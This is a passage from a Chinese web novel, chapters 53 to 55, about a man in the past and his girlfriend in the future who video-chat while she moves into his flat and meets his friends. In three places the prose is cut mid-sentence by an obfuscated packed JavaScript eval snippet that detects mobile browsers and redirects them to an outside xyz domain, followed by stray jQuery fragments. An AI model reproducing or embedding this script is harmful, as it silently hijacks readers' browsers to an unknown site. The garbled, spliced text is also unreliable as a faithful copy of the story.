梁彦按下电梯键，言简意赅：“临时改变主意，回家加班。” 闻言，刘志辉探究的视线在他脸上来回扫，“你心情好点了没？” 梁彦疑惑扬眉，“什么意思？” 刘志辉看了眼四周，确定没其他人的身影后，这才压低声音问：“你不是跟你网恋的女朋友分手了吗？我知道一个治疗情伤的好办法，你……” 话音未落，电梯门打开，梁彦独自进了电梯，同时不忘打断他的话：“你误会了，我们很好。” 刘志辉还没开口，面前的电梯门已经合上。 他反应过来，嘴角抽了抽，转身离开原地。 服了，不愧是没有恋爱经验的人，谈个网恋都能整藕断丝连这一出。 …… 梁彦回到家的时候，直奔客厅沙发。 前些天他在超市采购东西回到家，顺手把购物袋放在了沙发上，里面的东西还没拿出来。因为正是那天晚上，他突然发现联系不上程安宁，以至于没有心思去顾及其它事情了。 此刻，梁彦把里面的东西一一拿出来，在屋子里来回寻找合适的地方放这些东西，像真的要迎来跟女友同居的毛头小子一样手足无措。 他必须保证自己放东西的地方，在这些年里不会被轻易变动位置。 梁彦最后决定把衣柜里其中一个抽屉清空，把小物件的东西放在里面。 至于那套全新未拆的床上四件套。 梁彦想了想，索性拉开防尘袋的拉链，把里面的东西都放进洗烘一体机里清洗。 等到完全烘干，他又重新整理到防尘袋里，随后同样在衣柜内找了一个位置放进去。 做完这些，梁彦冷静下来，沉默地盯着衣柜里的东西。 他知道程安宁或许用不到他准备的东西，但就想做点什么。 毕竟只能活跃在过去时空的他，没办法亲自招待程安宁这位入住他家的客人，只能寄希望于他准备的东西能够让她的入住舒心一些。 - 翌日上午，程安宁联系搬家公司派一辆三轮车过来。 她的行李不多，除了两个大纸箱外，就只有手里提着的电脑包了。 至于其它的，比如她之前在各种机缘巧合下捡漏的家具，改造后得以二次利用的柜子、沙发、茶几之类的，她不好意思带到梁彦家里去占人家的地方，所以留在了原住处给下一任租客。 等待之余，程安宁不忘去了趟捡废品的老婆婆家打声招呼，告诉人家自己要搬了，不过还是会帮她收集塑料瓶和纸板，等攒得差不多了会亲自给她送过来。 老人家神色感激，硬是塞了两个苹果给她。 程安宁拗不过，只好收下道谢。 等到正式把行李搬到梁彦家的小区，已经临近中午。 有了第一次的拜访经历，程安宁轻车熟路地抵达梁彦家门口，利索地在智能门锁上输入密码。 顺利开门后，她把两个纸箱搬进屋里。 客厅拉着窗帘，隔绝了外边的光亮，显得昏暗压抑，程安宁第一时间就是把窗帘全都拉开。 这个房子的采光不错，没了窗帘的遮挡，瞬间变得亮堂。 程安宁神色满意，开始整理自己的东西。 到底不是自己的房子，程安宁在放置自己物品这一方面有些拘谨。 最终，她只是把箱子里的部分物品拿出来，其余东西暂时没想好放在哪儿就先留在纸箱里，然后搁到角落去。 既然已经搬进来了，自然要跟人家屋主汇报一声。想到梁彦昨晚说自己每天都在线，程安宁在沙发坐下，拿出包里的笔记本电脑。 屏幕亮起，程安宁打开视频软件，试探性开口：“梁彦，你在吗？” 话音刚落，电脑桌面随即弹出另外一个窗口，画面还未清晰浮现，磁性温和的男声先一步响起：“在。” 53.53 “你真的在啊！”程安宁神色惊喜，随即端着笔记本电脑起身，在原地转了一圈，让对面的梁彦能够看到她此时的背景，“看！我已经在你家了，东西也都整理好了，这个效率够快吧？” 视频界面里，那张明媚俏丽的脸蛋透着得意，梁彦眼里染上笑意，看着她身后堆着的被子和枕头，疑惑反问：“你的被子和枕头还在沙发上，确定整理好了吗？” 程安宁转头看了眼身旁放着的东西，不以为意点头：“确定啊，这是我的床。” 顿了顿，她语气庆幸：“还好你家里很干净，应该是你朋友有让人定期打扫屋子，我直接拎包入住，不用处理卫生方面的问题。” 不然她不敢想象这房子空了这么久，里面的灰尘得有多厚。 梁彦留意的重点却放在她刚才说的第一句话，不由得追问：“为什么把沙发当床？不是有房间吗？” 程安宁讪讪一笑：“你是说你的房间吗？那是主卧主人房，我就一借住的，想着还是不要乱动你屋里的东西好了。而且也用不着住主卧，我这人要求不高的，有地方可以睡就行了。” 梁彦神色微敛，不赞同她的话：“现在你住进来了，你也是这个房子的主人，这个房子里的一切你可以随意分配和使用。” 程安宁愣了愣，小脸微热，听着有些怪不好意思的。 这话说的好像把房子送给她似的。 梁彦又道：“在你那个时空，主卧已经空了很久，你刚才说了有人定期打扫，那么说明里面早就没了我的居住痕迹。要是介意的话，你可以把书房或者健身房里的东西清理了，改造成自己的房间。” 闻言，程安宁反应过来，眼皮一跳。 等等！梁彦这是误以为她是在介意住他的房间，所以选择睡的沙发吗？ 程安宁连忙接过话：“当然不介意。” 她都说了她这人要求不高，有地方睡就行了，反而是她怕他介意别人住他的房间。 为了证明自己说的是实话，程安宁随即抱着沙发上的被子和枕头起身，“既然你没意见，那我把东西拿到主卧去，你等我一下！” 话落，没等梁彦开口，程安宁挪步离开笔记本电脑的摄像头前。 梁彦见状，后知后觉她的想法，神色稍缓，眸底泛起暖色。 原来不是介意他住过的房间，而是觉得没有得到准许不好随便进入。 主卧跟客厅之间有些距离，不过能够听到一些窸窸窣窣的动静。 梁彦没等一会儿就看到程安宁回到电脑前。 他顺势告知：“安宁，主卧的衣柜里有一些东西，你可能用得上。” 程安宁屁股还没坐热，闻言，脸上掩不住的好奇，再次起身：“这样吗？那我再去看看！” 眼见她的身影就要再次消失在电脑前，梁彦及时做出提议：“可以把电脑带上，如果你找不到的话，我可以帮你一起找。” 他希望能看到她，也希望以这样的方式参与其中。 程安宁脚步一顿，觉得有道理，弯起眉眼拿上笔记本电脑：“那我们走吧！” 程安宁很快进到主卧。 卧室和客厅一样都是以黑白色调为主的装潢风格，不过她刚才进到主卧的时候顺便把窗帘拉开了，这会儿房间里被自带生气的明亮光线覆盖，不再有第一次进来时感到的昏暗压抑。 程安宁在床边停下脚步，出声打趣：“我上次就想说了，你的房间跟样板房有点像。” 样板房一般只摆放一些基础的家具，看着整洁华丽，却不见半点生活气息，不过梁彦房间里的家具都是暗色调的，得排除掉“华丽”这一项。 梁彦无奈失笑：“我可以当做是夸奖吗？” 隔着电脑屏幕，他看到程安宁旁边正是自己那张铺着黑灰色床单的床。 上面放着程安宁刚才拿进来的杏色被子和枕头，明暗两个色调放在一起，突兀且鲜明，像深不见底的沼泽中冒出了一朵鲜亮的花。 两人喜欢的完全是不同的风格，他很庆幸没有按照自己的喜好给她准备东西。 梁彦随之指路：“安宁，你身后的衣柜从左往右数，打开第四个衣柜门。” “好。”程安宁会意点头，转身看向不远处的衣柜，随后不忘把笔记本电脑放在床上，把电脑的摄像头面向衣柜的位置，让梁彦依旧可以看到自己的一举一动，方便他及时做出指示和纠正。 做完这些，她按照指示打开其中一扇衣柜门。 里面挂着数件熨烫整齐的衬衫和西装外套，依旧是熟悉的黑白色调。 正疑惑里面有什么是她用得上的，她的目光很快瞥见昏暗的角落里一抹鲜亮的米白色。 程安宁神色好奇，弯腰把东西拿出来，这才发现是一个大包裹。 确切地说，是一套装在收纳袋里的床上四件套。收纳袋是有质感的皮革材质，其中一面开了一个半透明的小窗，能够看到里面是印有彩色波点的米白色床单被套。 她把东西放到电脑前问：“梁彦，你说的是这个吗？” 看到自己亲自挑选的东西已经被程安宁拿在手上，梁彦脸上闪过一丝局促，像暗中准备的礼物总算送到对方手里，心里有种微妙的紧张。 他面上神色如常，轻嗯一声：“那一套是全新的，没有用过。不过可能有点久了，你看看还能不能用。” 闻言，程安宁打开收纳袋，摸了摸里面的床单被套，触感柔软舒适，上面没有奇怪的味道和污渍，甚至能够隐约闻到有淡淡的香味。 既然是全新的，当然不能浪费。 程安宁抬眼看向电脑：“能用，还很新呢，我一会儿把它们拿出来，放到洗衣机洗和烘干就能用了。” 梁彦默默松了口气，眼里浮现笑意，又道：“底下有个抽屉，里面也有一些东西。” 程安宁再次转身，俯身拉开底下的抽屉。 这一次，她从里面拿出两双全新带包装的室内拖鞋，像柠檬一样的明黄色，鲜亮清新。除此之外，还有两个盒子，上面还带着塑封，盒子上全是英文，不过难不倒她，很快便看出是两款香薰蜡烛和香薰精油，还都是大牌的。 程安宁抱着那堆东西转身放到电脑前，问：“你是说这些东西吗？” 梁彦点头，“嗯，都还能用吗？” 程安宁拿起其中一双拖鞋放到电脑的摄像头前让他看仔细：“喏，包装都没拆，当然能用啦。” 说着，想到梁彦刚才说她可能用得上，程安宁不确定询问：“这么说，我现在就可以拆开用吗？” 梁彦不假思索：“当然。” 得到确认，程安宁利索地拆开包装，把拖鞋放在地上穿上，笑脸盈盈：“正好我还没把我的室内拖鞋从箱子里拿出来。这下有了新的，我可以把那双旧的扔了。” 见她十分满意，梁彦嘴角跟着上扬，转而告知：“那两款香薰没有具体的过期年限，我买之前问过了，只要没有拆开包装，以及避光存放的话，不会轻易过期或者变质，你可以拆开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15120476|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻一下有没有奇怪的味道。” 程安宁会意点头，配合着在电脑前一一拆开，随后仔细地闻了闻两样香薰产品，总结道：“都没问题。” “那就好。”梁彦放下心来，同时不忘重申：“这些东西，包括屋里的所有东西你都可以随意使用，不用拘谨。” 程安宁通过在主卧翻动他的东西这个插曲，这会儿也没了一开始的束手束脚，笑着打趣：“有你这位屋主的准许，我不会客气的。” 床上这会儿堆了不少东西，她开始着手整理，嘴边已经在规划东西的摆放位置：“没想到你平时有用香薰的习惯，我打算向你学习，当一个有情调的人，一会儿就给客厅和主卧都摆上香薰。” 梁彦淡淡勾唇，“你喜欢就好。” 闻言，程安宁愣了一瞬，目光落在手中提着的那套床上用品，顿时觉得有点不对劲。 一开始梁彦跟她说主卧衣柜里有一些东西，她可能用得上。她也就想当然地认为这些东西是梁彦原有的东西。 可是现在看着这个彩色波点的米白色床上四件套，再看了看明黄色的室内拖鞋，怎么看都跟梁彦喜好的风格有冲突，一点也不像是他的东西。 而梁彦之前说过他是独居，并且没有女朋友。那么他家里怎么会有跟他本人风格相差巨大的东西？ 该不会……是他特地给她准备的吧？！ 这个猜测落下，程安宁呼吸一窒，原本平缓的心跳在这一刻莫名加快，但很快冷静下来，眉头微皱。 嘶……这样想是不是太自恋了？万一发现是误会岂不是很丢脸！ 迟疑片刻，程安宁最后还是没有把心底的疑惑问出口。 不一会儿，她把那些东西都带到客厅。 先是把电脑放在桌上，跟梁彦说了句“稍等”，随后拿着那套全新的床上四件套放进洗衣机。 再花了点时间研究怎么使用他家的洗烘一体机，等到她回沙发上坐着，这才发现桌上的电脑有其他人的说话声：“这里只有我们两人，你跟我说一下会死啊？还是不是兄弟了？” 程安宁神色好奇，凑近笔记本电脑的屏幕听个仔细。 这个声音怎么有点耳熟？之前好像哪一次在跟梁彦视频的时候有听到过。 与此同时，梁彦的目光恰好瞥向面前的笔记本电脑。 两人隔着屏幕撞上视线。 程安宁面带笑意，眨了眨眼，无声地传达一种“你们继续聊，不用管我”的讯息。 梁彦见状，随即看向办公桌前的刘志辉。 没等下逐客令，刘志辉已经先一步探身，好奇地望向电脑屏幕：“你怎么还在用这台旧电脑？” 话音刚落，他看到电脑屏幕上有两个视频界面，神色诧异：“这是开着什么软件啊？怎么能够看到我们两个？诶，那又是谁啊？” 电脑的另一端，程安宁被突然出现在视频界面里半张大脸吓一跳，因为那张脸出现的方向跟梁彦不一样，在视频界面里是倒立的角度。 梁彦则迅速从桌上撤下笔记本电脑，一只手将屏幕外壳微微往下压，不再让他有多看一眼的机会，同时直言道：“我还有事，你也去忙吧。” 看到他的反应，再结合刚才在电脑上看到的那张脸，刘志辉神色若有所思，而后眸光一亮：“等等！刚才那个是嫂子吗？我可以跟她打声招呼吗？” 梁彦剑眉微拧，“你……” 话音未落，怀里的笔记本电脑传出一道清亮的女声：“当然可以！” 54.54 梁彦一愣。 刘志辉面上一喜，随即快步绕过桌子，去到梁彦身旁，语气催促：“听到了吗？嫂子说可以。” 梁彦神色无奈，只好重新调整屏幕外壳，把电脑放回桌上。 刘志辉这次得以看清电脑屏幕里那张娇俏白皙的脸蛋，也看到了自己和梁彦同样出现在另外一个视频界面里。 他趁机臭美地整理一下头发，而后凑近电脑，面带开朗的笑容打招呼：“嫂子，你好啊，我是刘志辉，是梁彦的好兄弟。” 视频界面里，刘志辉皮肤黝黑，五官周正，笑容阳光大方，程安宁记住了他的长相，点头回以一笑：“你好，很高兴认识你，我是梁彦的女朋友，你喊我安宁就可以了。” 难得遇到一个跟刘志辉交流的机会，她要搞好关系，给对方留下好印象，这样方便她在自己的时空跟刘志辉真正碰面后，轻松建立起友好的关系。 “安宁？没想到人长得漂亮，名字也这么好听。”刘志辉自然搭话。 程安宁轻笑摆手：“没有没有。” “别谦虚了。”刘志辉很是自来熟，随即开启打趣式的吐槽模式：“之前梁彦说他有女朋友的时候，我还以为他每天赶项目加班忙到精神错乱导致的幻想。” “而且他还老是说一些奇怪的话，说什么以后要是哪一天你突然找上我或者另一个朋友，要我们相信你，并且给你提供一些帮助，这真的不怪我以为他精神有问题。” 程安宁原本因为他的风趣笑得正开心，听到他最后那句话，神色诧异，视线从刘志辉的脸上移到他旁边的梁彦。 她只知道梁彦跟她提起已经和朋友说了谈了网恋对象的事情，倒没有听他说起事先跟朋友打了她会找他们帮忙的预防针。 与此同时，梁彦眼神失焦，注意力全在两人的说笑声上。 他明白，他的内敛无趣，比起刘志辉信手拈来的，一开口就能轻松逗人开心的社交能力相形见绌。 平时他和程安宁隔着电脑聊天的时候，虽然她有笑过，但很少开怀大笑。眼下她和刘志辉第一次打招呼寒暄，两人却自然而然地聊得很开心。 此刻，听着两人间愉悦的聊天氛围，梁彦心里有些吃味，忍不住轻咳两声，出声介入：“志辉，你可以去忙了。” 刘志辉假装听不懂他的逐客令，站在原地不为所动：“不急，第一次跟嫂子说上话，我这才聊不到几句就要走人，那也太不礼貌了，嫂子你说是吧？” 程安宁笑：“如果你忙的话，下次有机会再聊也行。” “没事，我今天不忙的。”说着，刘志辉发现视频界面，神色好奇：“你们这是在用什么软件视频聊天？为什么要在电脑上开两个独立的窗口？这么奇怪的。” 说完，手就要落在电脑的触控板上自行研究。 梁彦眼疾手快，迅速挡开他的手：“不要乱碰。” 与此同时，电脑另一端的程安宁眸光微动，自然接过话：“这个软件是我让梁彦做的，只有我们两个能用。” 也就是说，是小情侣专属软件。 闻言，刘志辉神色诧异，识趣收回手，“原来是这样。” 说着，他把目光转向旁边的梁彦，拍了拍他的肩膀，露出一抹意味深长的笑：“专属你们两人的软件，看不出我们梁总会乐意配合搞这种小浪漫啊。” 梁彦抓开他的手，另一只手放下手机，转头看他：“你刚才说你今天不忙，正好有几个需要加急的工作找不到人接手，就交给你处理吧，我已经发到工作群了，你记得看消息。” 刘志辉脸上的笑容瞬间消失，顿时急眼：“不是，只是多待了一会儿，用不着这样吧？还不是刚才我问你事情，你一直不说，我才正好发现你跟嫂子在视频。不行，我要是做不完，你得负责收尾。” “可以。”梁彦爽快点头，又问：“现在你可以走了么？” 刘志辉一噎，差点气笑。 突然多了一些工作安排，还要被赶走，怎么想都觉得亏，刘志辉烦躁挠头。 但很快，他眸光微动，开口谈条件：“我问嫂子最后一个问题就走。” 梁彦拧眉：“要看安宁同不同意。” 电脑的另一端，程安宁听到他们的对话，当起和事佬：“可以啊。” 看得出梁彦工作挺很忙的，三番两次要把人请出办公室。 反正对她来说，只是一个问题，随便应付完事就行了。 而且她答应下来，一方面能加深刘志辉对她的好印象，另一方面还能帮梁彦顺利送走人家，怎么想都是个双赢的局面。 得到准许，刘志辉随即吐出心里的疑惑：“嫂子，彦哥今天有没有跟你报备过中午要请我们吃饭的事情？你知道是什么原因吗？之前他一反常态要请大家吃饭，还是官宣他谈恋爱的时候，这次难不成又有什么事情要庆祝？我刚才问了他，他一直不说原因，你要知道这对一个好奇心旺盛的人来说是何等的痛苦！” 程安宁被问住了。 别说今天梁彦突然请吃饭的原因了，她连梁彦之前官宣请吃饭这个事情都没听说过。 没等她开口，梁彦先出声了：“为什么要纠结这么无聊的问题？我已经跟你说了只是吃顿饭，没有任何原因。” 说这句话的时候，梁彦无语地揉着眉心。 刘志辉切了一声，眼神充满不信任，面上一副看透一切的样子：“得了吧，我还不知道你吗？这种屁话谁信啊？你肯定隐瞒了什么！” 结合梁彦先前好几次奇怪的举动，他都要怀疑梁彦是不是要宣布结婚了。虽然这个猜测听上去怪离谱的，但也不是没可能。 机智如程安宁随即插话：“我知道！梁彦是看大家平时工作比较辛苦，想犒劳一下大家。” 刘志辉不信：“平时团建聚餐之类的集体活动，是由贺明，也就是我们另一个兄弟专门负责的，用不着彦哥出面。” 程安宁点头，煞有其事道：“是这样没错，但梁彦偶尔也想亲自组织集体活动，只是不好意思说出来而已，他这人的性格比较低调内敛，你是他的朋友，肯定再清楚不过。” 这番话有点说服力，刘志辉愣了一瞬，不禁开始动摇，挠头喃喃道：“是这样吗？” 说到这，他拍了拍梁彦的肩膀，取笑他：“你这人真不知道该怎么说你，想跟大家一块儿吃顿饭就直说嘛，大家都是兄弟，搞得这么肉麻。” 梁彦面不改色地看向他，提醒：“问完问题了，满意了么？” 刘志辉心满意足地收回手，“行行行，我走了，不当电灯泡了。” 顿了顿，不忘跟电脑里的程安宁挥手告别：“嫂子，有机会让梁彦带上你跟我们一块儿见面吃饭啊，我请客。” 程安宁莞尔一笑，同样挥手：“好，拜拜。” 视频界面里很快回到只有梁彦一人的画面。 程安宁仔细留意着电脑另一端的动静。 听到脚步声渐行渐远，她压低声音问：“你朋友走了吗？” 梁彦抬眼看向刚关上的办公室门，点头轻嗯：“走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15136314|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言，程安宁松了口气，同时积极举手：“梁总，我也想问一个问题可以吗？” 见状，梁彦无奈失笑，爽快颔首：“请说。” 程安宁握拳当话筒，举到摄像头前采访他：“所以你突然要请大家吃饭的原因是什么？你朋友说得我都好奇了。” 刚才的说辞是她应付刘志辉胡扯的，至于梁彦是出于什么样的原因，她也想八卦一下。 闻言，梁彦毫无保留地说出用意：“你昨晚说你联系过许杰了，他答应帮你问贾栋，这两天会给你答复。所以我想到今天中午可以组织团队成员聚餐，看看能不能跟贾栋拉近一下关系。” 程安宁恍然大悟：“原来是这样啊……” 怪不得梁彦不跟刘志辉透露。 想到刚才从刘志辉那儿听到的一些话，程安宁悻悻努嘴，又道：“你拜托你朋友以后我要是找上他们，要他们给我提供帮助，还有你请他们吃饭官宣有对象的事情，之前都没有听你提起过。” 对比起来，平日里貌似是她说的比较多，梁彦除了之前告诉她和家人的关系之外，一般只说一些简短的结果，而她精细到连一点小事、一句话都要告诉他，简直是屁大点事分享者。 可能平日里她只和叶思蕾一人联系得比较频繁，突然间多了一个要经常联系的人，她也就自然而然地把好姐妹间的相处模式套在梁彦这边的相处上了。 梁彦尴尬轻咳，解释：“只是一些小事。” 他没有主动提起的原因，一方面是觉得说这种事情有点难为情，另一方面是他以前没有跟人分享日常的习惯，拿不定主意该不该说，也顾虑着程安宁对这种小事不感兴趣。 程安宁点头“哦”了一声，开始反省自己：“我平时是不是太啰嗦了？看来我得向你学习，改掉这个毛病才行！” 梁彦眼皮一跳，忙开口道：“不用改，你分享的事情都很有趣，我从来不觉得啰嗦。” 程安宁眸光微动，面上无奈叹气：“可是只有我单方面分享自己的事情很没劲啊。” 休想只让她一个人输出，她也要撬开这位大佬的嘴才行！ 梁彦沉默一瞬，学她刚才的话表态：“我会向你学习。” 这是会学跟她一样分享日常的意思。 看到他认真保证的样子，像是在许诺什么重要的事情，程安宁有点想笑，点头回应：“好。” 随后，她看了眼手机上的时间，挥手告别：“既然你朋友走了，我也得赶紧溜了，不能耽误你工作，我们晚上再聊吧，拜拜。” 梁彦愣了一瞬，敛眸掩住眼底的异色，轻嗯一声。 他之所以三番两次让刘志辉离开，是为了想跟她单独相处…… 结束视频交流后，程安宁先是熟悉了一下屋子，随后出门熟悉小区周围的环境，顺便解决午餐。 因为小区的地理位置极好，附近已经是一个成熟繁华的商圈，有各种连锁品牌店，程安宁逛了不到一会儿就有了一些收获。 不少店面贴着招聘海报，程安宁把招兼职的拍下来，打算抽空了解有没有合适的兼职。 在外边玩了一圈，原路返回的时候，已经是下午四点。 程安宁正翻看保存在相册里的招牌信息，一通来电冷不防跃入视线。 看到是同城的陌生号码，程安宁神色犹豫，短暂地怀疑了一下是不是广告推销之类的来电，随后迟缓地滑过接听图标。 没等开口，一道陌生的男声率先在手机那端响起：“你好，我是未来科技的贾栋。” 55.55 程安宁脚步一顿，倏地握紧手机，语气欣喜：“你好，我是梁彦的女朋友程安宁。” 处于过去时空的梁彦，上午那会儿才跟她说打算中午聚餐跟贾栋拉近关系，没想到五年后的今天，她就接到贾栋的来电。 看来五年前的今天，梁彦顺利做到跟贾栋拉近关系。 “我听许杰说了，他说你想跟我见一面？”手机另一端的贾栋开门见山问。 “是。”程安宁边说边看了眼手机上的时间，随即询问：“请问你现在方便吗？或者我们电话里聊也可以的。” 贾栋婉拒：“我今天工作比较多，没办法碰面和聊太久的电话，只是趁现在有点时间跟你打声招呼。” 闻言，程安宁神色微敛。 正感失落，手机另一端的贾栋顿了顿，主动做出邀约：“明天下午一点吧。如果你有空的话到未来科技一趟，我可以利用我的午休时间跟你见一面。” 程安宁松了口气，欣然应下：“好的，明天见！” 贾栋主动来电完全是意料之外，结束通话后，程安宁不忘给许杰发了消息表示感谢。 傍晚时分。 想着差不多到饭点了，这会儿梁彦应该有空，程安宁打开笔记本电脑，第一时间点开了视频软件。 “梁彦，你在吗？” 刚对着自己的视频界面说了这句话，下一刻，电脑桌面弹出另外一个窗口，简直是秒回。 一张清隽的脸庞出现在新的视频界面里。 程安宁不自觉弯起眉眼，没等梁彦开口，先一步出声：“我有一个好消息要告诉你！” 触及屏幕里那双清亮的杏眸，梁彦眉眼间也跟着染上浅浅笑意，点头等她发话：“好。” 程安宁随即告知：“你上午不是说过要跟贾栋拉近关系吗？他今天下午主动联系我了！许杰说过这两天给我消息，正好今天是最后期限，看来你今天做出的行动很有效果！” 梁彦闻言诧异，神色疑惑：“可是……我今天还没做到真的跟他拉近关系了。” 程安宁微愣，“啊？” 梁彦如实告知：“今天中午聚餐的时候，我是选择坐在贾栋身边，但我们只是聊了一些目前的行业和项目上的见解，后面大家都在吃饭，没再有其他互动。” 吃完饭也就都回公司继续上班了。 梁彦又道：“本来我还在想最近再找个机会接触他，没想到五年后的贾栋已经主动联系你了。” 程安宁诧异不已，神色若有所思：“难不成只是凑巧？” 也就是说，目前还不能完全确定这个贾栋是敌是友。 看来明天见面后需要花点时间接触和观察一下对方，不能一上来就轻易问话，万一是个坏心眼的故意编假消息骗她就完了！ 想到这，程安宁在心里暗暗竖起警惕，“明天我去会会他，回来再告诉你情况。” 说着，她揭开旁边备好的一盒自热火锅问：“我打算吃晚餐了，你吃了吗？” 梁彦看了眼旁边刚才送进来的餐盒，点头拿到电脑前：“正打算吃。” 程安宁眸光一亮，主动邀请道：“那我们一起吧！” 今天是她住进梁彦家的第一天，还有点不太习惯。之前她住的不是单间就是一室一厅的小房子，现在换到大房子，一个人待着怪安静的，有个人能陪着说话能够让她心里自在一些。 梁彦爽快点头：“好。” 说着，他隐约看到程安宁屏幕前一个正在冒烟的盒子，不由得问道：“你今天的晚餐又是泡面吗？” 程安宁摇头：“不是，今晚奢侈一把，吃自热火锅。” 顿了顿，她不忘得意地补上一句：“是我之前在网上参加抽奖中的，直接免费寄到我这儿了，厉害吧？” 梁彦点头低嗯：“厉害。” 顿了顿，他委婉地补上一句：“总吃速食品没什么营养。” 程安宁微微挑眉，神色不以为意，反驳道：“可是能填饱肚子，而且还很好吃！” 梁彦一噎，无奈勾唇。 程安宁问：“你呢？晚餐吃的什么？” “是公司订的餐，每天是五菜一汤的标配。”梁彦边说边打开面前的餐盒，端起来展示在摄像头前给她看。 这个动作让程安宁想到了网络上的吃播。 看到餐盒上的荤素搭配，她打趣道：“不错，是营养均衡的梁总。” 梁彦失笑，把餐盒放回桌上，“期待能够看到营养均衡的安宁。” 程安宁也笑了，配合着点头：“那你慢慢等吧，我一个月有那么几天不懒的时候会亲自下厨。” 她不懒的时候，其实是囤的那些速食品吃完的时候。 两人有一句没一句地聊着，程安宁自然而然地分享起自己下午去做了什么。 在她说话的时候，梁彦的视线没有从屏幕上移开，像是真的在对待一个坐在他面前说话的人。 待到说完下午的事情，程安宁边啃着自热火锅里的藕片，边盯着梁彦的视频界面看。 梁彦迎上她的视线，气氛有一瞬的安静。 但很快，程安宁冲他扬了扬眉，一脸期待的样子，梁彦顿时明了。 她这是在提醒他，轮到他说自己的事情了。 于是，短暂的静谧后，一道清冷磁性的男声响起：“中午团队里有人提议要吃意餐，我们就去吃了意餐。” 见他很是上道地开启话题，程安宁嘴角微扬，淡淡点头：“是哪家餐厅？味道怎么样？我下次要跟我朋友去试试。” “味道还不错。那家意式餐厅在明风时代广场，名字是La Dolce Vita，不过不知道你那边还能不能找到这家店。” 闻言，程安宁行动力满满，随即拿起旁边的手机，“查一下就知道了。” 在手机上输入地址定位和意式餐厅，很快便在某个点评软件看到结果。 程安宁把手机递到电脑的摄像头前，问：“是这家吗？” 梁彦透过屏幕看她手机上的搜索结果，“是。” 得到确认，程安宁收回手，指尖滑动屏幕看着餐厅介绍和菜品推荐。 发现这是一家高级餐厅，以及消费惊人，她不禁嘶了一声，果断放下手机：“不用试了，这个价格看着就知道不是一般的好吃。” 恐怕她和叶思蕾进去后只点得起一个披萨分着吃。 梁彦神色若有所思，隔着屏幕和她一同继续用餐。 吃过晚餐，两人开始忙自己的事情。 听着电脑另一端不间断传出的动静，梁彦翻着手头上的工作文件，眼底却藏起欣喜的笑意。 和先前不同，之前程安宁总会在两人聊完正事后就跟他告别然后下机，今天程安宁在吃过晚餐后没有急着跟他告别，而是跟他说吃饱了要去忙别的事情了。他以为程安宁下一步就是要跟他告别，结果她只是埋头清理起自己吃过的东西，然后起身离开原地。 现在隔着电脑，听着来自另一时空的动静，他的心里莫名感到安心。 - 翌日下午，程安宁准时抵达未来科技大厦。 在跟贾栋取得联系后，两人约在大厅的休闲区碰面。 这会儿的时间点即是饭点又是午休时间，没什么人在休闲区逗留，程安宁望向四周，很快便看到一位装扮休闲的男子出现。 男子一头不起眼的短碎发，身高跟她差不多，体型看上去也比较瘦小。 两人对上视线，男子目光倏地顿住，挪步朝她靠近。 见状，程安宁确定他就是贾栋，随即起身迎上前：“你好，是贾先生吗？” “是我。”贾栋在她面前停下，神色诧异：“你还真是我们彦哥的女朋友，我刚才远远的看到你的脸，就想到了彦哥的头像。” 一提起头像的事情，程安宁小脸微热，脸上飞快掠过一抹尴尬的笑意。 好吧，虽然那张照片连她自己都嫌弃，但不得不说，另一时空的梁彦想到这个的办法很有效。 贾栋随之递出递出一只手，“很高兴见到你。” 程安宁握上他的手，客套回话：“这句话应该是我说才对，能看到我男朋友以前一起工作过的同事，我真的很开心。” 两人简单握了握手便松开，程安宁顺势递出手里提着的袋子，“今天过来不知道该带点什么，只给你和许杰许先生带了咖啡和甜点当下午茶，还希望你们不要嫌弃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15155353|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许杰帮了她的忙，贾栋答应跟她见面，都是值得感谢的事情。但是一上来就给人家送贵重礼物怪怪的，两手空空过来又不好，最后她思来想去还是买点东西意思一下。 贾栋神色诧异，连连摆手婉拒：“你太客气了，来就行了，不用破费。” “只是一点小心意。”程安宁坚持把东西送到他手边。 见状，贾栋不好再推脱，只好道了声谢，接受了她的好意，同时问道：“程小姐，你找我是有什么事情吗？” 程安宁眸光微动，面上自然应付：“也没什么事，我一开始是想着到未来科技看看梁彦以前工作过的地方，怀念一下他还未出事的样子，后面碰巧遇到许先生，我就想着要是能够见到以前和梁彦一起工作过的同事也不错，这样还能从别人那儿听到他们眼里的梁彦。” 闻言，贾栋敛起轻松的神色，遗憾地叹了口气：“唉，彦哥真的……很可惜！” 说到这，像是急于证明自己并非对梁彦的事情不闻不问，他不忘补上一句：“我之前去过几次医院探望他，后来工作忙就很难抽出时间了。听许杰说，彦哥的情况还是跟以前一样吗？” 